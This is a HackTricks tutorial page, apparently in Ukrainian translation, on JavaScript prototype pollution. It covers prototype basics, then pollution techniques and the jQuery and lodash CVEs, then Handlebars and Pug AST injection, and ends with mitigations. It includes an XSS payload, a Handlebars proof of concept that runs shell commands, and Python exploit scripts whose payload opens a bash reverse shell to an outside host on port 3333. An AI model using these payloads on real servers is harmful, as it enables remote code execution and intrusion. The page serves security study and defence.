NodeJS - __proto__ & prototype Pollution

Support HackTricks

Objects in JavaScript

Об'єкти в JavaScript по суті є колекціями пар ключ-значення, відомими як властивості. Об'єкт можна створити за допомогою Object.create з null як аргументом, щоб отримати порожній об'єкт. Цей метод дозволяє створити об'єкт без будь-яких успадкованих властивостей.

// Run this in the developers tools console
console.log(Object.create(null)); // This will output an empty object.

Порожній об'єкт подібний до порожнього словника, представлений як {}.

Функції та класи в JavaScript

У JavaScript класи та функції тісно пов'язані, причому функції часто виконують роль конструкторів для класів. Незважаючи на відсутність нативної підтримки класів у JavaScript, конструктори можуть імітувати поведінку класів.

// Run this in the developers tools console

function Employee(name, position) {
this.name = name;
this.position = position;
this.introduce = function() {
return "My name is " + this.name + " and I work as a " + this.position + ".";
}
}

Employee.prototype

var employee1 = new Employee("Generic Employee", "Developer");

employee1.__proto__

Прототипи в JavaScript

JavaScript дозволяє модифікацію, додавання або видалення атрибутів прототипу під час виконання. Ця гнучкість дозволяє динамічно розширювати функціональність класів.

Функції, такі як toString і valueOf, можуть бути змінені для зміни їх поведінки, демонструючи адаптивну природу системи прототипів JavaScript.

Спадкування

У програмуванні на основі прототипів властивості/методи успадковуються об'єктами від класів. Ці класи створюються шляхом додавання властивостей/методів або до екземпляра іншого класу, або до порожнього об'єкта.

Слід зазначити, що коли властивість додається до об'єкта, що служить прототипом для інших об'єктів (таких як myPersonObj), успадковуючі об'єкти отримують доступ до цієї нової властивості. Однак ця властивість не відображається автоматично, якщо її не викликати явно.

__proto__ pollution

Дослідження забруднення прототипів у JavaScript

Об'єкти JavaScript визначаються парами ключ-значення і успадковують від прототипу об'єкта JavaScript. Це означає, що зміна прототипу об'єкта може вплинути на всі об'єкти в середовищі.

Давайте використаємо інший приклад для ілюстрації:

function Vehicle(model) {
this.model = model;
}
var car1 = new Vehicle("Tesla Model S");

Доступ до прототипу об'єкта можливий через:

car1.__proto__.__proto__;
Vehicle.__proto__.__proto__;

Додаючи властивості до прототипу Object, кожен об'єкт JavaScript успадкує ці нові властивості:

function Vehicle(model) {
this.model = model;
}
var car1 = new Vehicle("Tesla Model S");
// Adding a method to the Object prototype
car1.__proto__.__proto__.announce = function() { console.log("Beep beep!"); };
car1.announce(); // Outputs "Beep beep!"
// Adding a property to the Object prototype
car1.__proto__.__proto__.isVehicle = true;
console.log(car1.isVehicle); // Outputs true

prototype pollution

Для сценарію, де використання __proto__ обмежене, модифікація прототипу функції є альтернативою:

function Vehicle(model) {
this.model = model;
}
var car1 = new Vehicle("Tesla Model S");
// Adding properties to the Vehicle prototype
Vehicle.prototype.beep = function() { console.log("Beep beep!"); };
car1.beep(); // Now works and outputs "Beep beep!"
Vehicle.prototype.hasWheels = true;
console.log(car1.hasWheels); // Outputs true

// Alternate method
car1.constructor.prototype.honk = function() { console.log("Honk!"); };
car1.constructor.prototype.isElectric = true;

Це впливає лише на об'єкти, створені з конструктора Vehicle, надаючи їм властивості beep, hasWheels, honk та isElectric.

Два методи для глобального впливу на об'єкти JavaScript через забруднення прототипу включають:

  1. Забруднення Object.prototype безпосередньо:

Object.prototype.goodbye = function() { console.log("Goodbye!"); };
  1. Забруднення прототипу конструктора для загальновживаної структури:

var example = {"key": "value"};
example.constructor.prototype.greet = function() { console.log("Hello!"); };

Після цих операцій кожен об'єкт JavaScript може виконувати методи goodbye та greet.

Забруднення інших об'єктів

Від класу до Object.prototype

У сценарії, де ви можете забруднити конкретний об'єкт і вам потрібно достукатися до Object.prototype, ви можете шукати його за допомогою чогось на зразок наступного коду:

// From https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/

// Search from "window" object
for(let key of Object.getOwnPropertyNames(window)) {
if (window[key]?.constructor.prototype === Object.prototype) {
console.log(key)
}
}

// Imagine that the original object was document.querySelector('a')
// With this code you could find some attributes to get the object "window" from that one
for(let key1 in document.querySelector('a')) {
for(let key2 in document.querySelector('a')[key1]) {
if (document.querySelector('a')[key1][key2] === window) {
console.log(key1 + "." + key2)
}
}
}

Забруднення елементів масиву

Зверніть увагу, що оскільки ви можете забруднювати атрибути об'єктів у JS, якщо у вас є доступ до забруднення масиву, ви також можете забруднити значення масиву, доступні за індексами (зверніть увагу, що ви не можете перезаписувати значення, тому вам потрібно забруднити індекси, які якимось чином використовуються, але не записуються).

c = [1,2]
a = []
a.constructor.prototype[1] = "yolo"
b = []
b[0] //undefined
b[1] //"yolo"
c[1] // 2 -- not

Html elements pollution

Коли генеруєте HTML елемент за допомогою JS, можливо перезаписати атрибут innerHTML, щоб він записував произвольний HTML код. Ідея та приклад з цього написання.

// Create element
devSettings["root"] = document.createElement('main')

// Pollute innerHTML
settings[root][innerHTML]=<"svg onload=alert(1)>"

// Pollute innerHTML of the ownerProperty to avoid overwrites of innerHTML killing the payload
settings[root][ownerDocument][body][innerHTML]="<svg onload=alert(document.domain)>"

Приклади

Основний приклад

Забруднення прототипу відбувається через недолік в додатку, який дозволяє перезаписувати властивості на Object.prototype. Це означає, що оскільки більшість об'єктів отримують свої властивості з Object.prototype

Найпростіший приклад - це додати значення до недефінованої атрибути об'єкта, який буде перевірятися, наприклад:

if (user.admin) {

Якщо атрибут admin не визначений, можливо зловживати PP і встановити його в True за допомогою чогось на зразок:

Object.prototype.isAdmin = true
let user = {}
user.isAdmin // true

Механізм, що стоїть за цим, полягає в маніпулюванні властивостями так, що якщо зловмисник має контроль над певними вхідними даними, він може змінити прототип усіх об'єктів у додатку. Ця маніпуляція зазвичай включає встановлення властивості __proto__, яка в JavaScript є синонімом безпосередньої зміни прототипу об'єкта.

Умови, за яких ця атака може бути успішно виконана, як зазначено в конкретному дослідженні, включають:

  • Виконання рекурсивного злиття.

  • Визначення властивостей на основі шляху.

  • Клонування об'єктів.

Override function

customer.__proto__.toString = ()=>{alert("polluted")}

Proto Pollution to RCE

Prototype Pollution to RCE

Інші пейлоади:

Client-side prototype pollution to XSS

Client Side Prototype Pollution

CVE-2019–11358: Атака на прототипне забруднення через jQuery $ .extend

Для отримання додаткової інформації перегляньте цю статтю У jQuery функція $ .extend може призвести до забруднення прототипу, якщо функцію глибокого копіювання використовувати неправильно. Ця функція зазвичай використовується для клонування об'єктів або об'єднання властивостей з об'єкта за замовчуванням. Однак, при неправильній конфігурації, властивості, призначені для нового об'єкта, можуть бути призначені прототипу замість цього. Наприклад:

$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'));
console.log({}.devMode); // Outputs: true

Ця вразливість, ідентифікована як CVE-2019–11358, ілюструє, як глибоке копіювання може ненавмисно змінити прототип, що призводить до потенційних ризиків безпеки, таких як несанкціонований доступ адміністратора, якщо такі властивості, як isAdmin, перевіряються без належної перевірки існування.

CVE-2018–3721, CVE-2019–10744: Атака на забруднення прототипу через lodash

Для отримання додаткових деталей перегляньте цю статтю

Lodash зіткнувся з подібними вразливостями забруднення прототипу (CVE-2018–3721, CVE-2019–10744). Ці проблеми були вирішені в версії 4.17.11.

Інший посібник з CVE

Інструменти для виявлення забруднення прототипу

  • Server-Side-Prototype-Pollution-Gadgets-Scanner: Розширення Burp Suite, призначене для виявлення та аналізу вразливостей забруднення прототипу на стороні сервера в веб-додатках. Цей інструмент автоматизує процес сканування запитів для виявлення потенційних проблем із забрудненням прототипу. Він використовує відомі гаджети - методи використання забруднення прототипу для виконання шкідливих дій - зокрема, зосереджуючись на бібліотеках Node.js.

  • server-side-prototype-pollution: Це розширення виявляє вразливості забруднення прототипу на стороні сервера. Воно використовує техніки, описані в забрудненні прототипу на стороні сервера.

AST Забруднення прототипу в NodeJS

NodeJS широко використовує абстрактні синтаксичні дерева (AST) в JavaScript для функціональностей, таких як шаблонні двигуни та TypeScript. Цей розділ досліджує вразливості, пов'язані із забрудненням прототипу в шаблонних двигунах, зокрема Handlebars і Pug.

Аналіз вразливості Handlebars

Шаблонний двигун Handlebars вразливий до атаки на забруднення прототипу. Ця вразливість виникає з конкретних функцій у файлі javascript-compiler.js. Функція appendContent, наприклад, конкатенує pendingContent, якщо він присутній, тоді як функція pushSource скидає pendingContent на undefined після додавання джерела.

Процес експлуатації

Експлуатація використовує AST (абстрактне синтаксичне дерево), створене Handlebars, дотримуючись цих кроків:

  1. Маніпуляція парсером: Спочатку парсер, через вузол NumberLiteral, вимагає, щоб значення були числовими. Забруднення прототипу може обійти це, дозволяючи вставку нечислових рядків.

  2. Обробка компілятором: Компілятор може обробляти об'єкт AST або шаблон рядка. Якщо input.type дорівнює Program, вхідні дані обробляються як попередньо розібрані, що може бути використано в експлуатації.

  3. Впровадження коду: Через маніпуляцію Object.prototype можна впровадити довільний код у функцію шаблону, що може призвести до віддаленого виконання коду.

Приклад, що демонструє експлуатацію вразливості Handlebars:

const Handlebars = require('handlebars');

Object.prototype.type = 'Program';
Object.prototype.body = [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "console.log(process.mainModule.require('child_process').execSync('id').toString())"
}],
"loc": {
"start": 0,
"end": 0
}
}];

const source = `Hello {{ msg }}`;
const template = Handlebars.precompile(source);

console.log(eval('(' + template + ')')['main'].toString());

Цей код демонструє, як зловмисник може впровадити довільний код у шаблон Handlebars.

Зовнішнє посилання: Проблема, пов'язана з забрудненням прототипу, була виявлена в бібліотеці 'flat', як детально описано тут: Проблема на GitHub.

Зовнішнє посилання: Проблема, пов'язана з забрудненням прототипу в бібліотеці 'flat'

Приклад експлуатації забруднення прототипу в Python:

import requests

TARGET_URL = 'http://10.10.10.10:9090'

# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.type": "Program",
"__proto__.body": [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}],
"loc": {
"start": 0,
"end": 0
}
}]
})

# execute
requests.get(TARGET_URL)

Уразливість Pug

Pug, ще один движок шаблонів, стикається з подібним ризиком забруднення прототипу. Докладну інформацію можна знайти в обговоренні AST Injection in Pug.

Приклад забруднення прототипу в Pug:

import requests

TARGET_URL = 'http://10.10.10.10:9090'

# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}
})

# execute
requests.get(TARGET_URL)

Запобіжні заходи

Щоб зменшити ризик забруднення прототипу, можна використовувати наведені нижче стратегії:

  1. Незмінність об'єктів: Object.prototype можна зробити незмінним, застосувавши Object.freeze.

  2. Валідація вводу: JSON-введення повинні бути ретельно перевірені на відповідність схемі програми.

  3. Безпечні функції злиття: Слід уникати небезпечного використання рекурсивних функцій злиття.

  4. Об'єкти без прототипу: Об'єкти без властивостей прототипу можна створити за допомогою Object.create(null).

  5. Використання Map: Замість Object слід використовувати Map для зберігання пар ключ-значення.

  6. Оновлення бібліотек: Слід регулярно оновлювати бібліотеки, щоб включати патчі безпеки.

  7. Інструменти лінтингу та статичного аналізу: Використовуйте інструменти, такі як ESLint з відповідними плагінами, для виявлення та запобігання вразливостям забруднення прототипу.

  8. Огляди коду: Реалізуйте ретельні огляди коду, щоб виявити та усунути потенційні ризики, пов'язані із забрудненням прототипу.

  9. Навчання з безпеки: Освітіть розробників про ризики забруднення прототипу та найкращі практики написання безпечного коду.

  10. Обережне використання бібліотек: Будьте обережні при використанні сторонніх бібліотек. Оцініть їх безпеку та перегляньте їх код, особливо ті, що маніпулюють об'єктами.

  11. Захист під час виконання: Використовуйте механізми захисту під час виконання, такі як безпекові npm-пакети, які можуть виявляти та запобігати атакам забруднення прототипу.

Посилання

Support HackTricks

Last updated